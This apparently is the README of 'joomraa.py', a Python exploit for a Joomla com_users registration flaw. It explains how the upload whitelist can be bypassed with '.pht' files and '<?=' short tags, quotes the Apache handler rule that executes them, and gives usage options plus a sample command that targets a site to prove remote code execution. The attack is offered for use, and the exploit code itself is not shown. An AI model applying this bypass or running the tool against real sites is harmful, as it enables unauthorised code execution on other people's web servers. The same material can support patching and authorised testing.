While analysing the recent Joomla exploit in com_users:user.register we came across a problem with the upload whitelisting. They don't allow files containing <?php, or with the extensions .php and .phtml, but they do allow <?= and .pht files, which works out of the box on most hosting environments, including the standard Ubuntu LAMP install, as per:

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
Usage

Choose the username, password and e-mail address to use and point it at the URL for your Joomla website. Use the -x and -s options to customise exploit behaviour, -s searches for the given string in the output after running the PHP file (specified in -x), an example is provided which proves remote code execution.

$ ./joomraa.py -u hacker -p password -e hacker@example.com http://localhost:8080/joomla
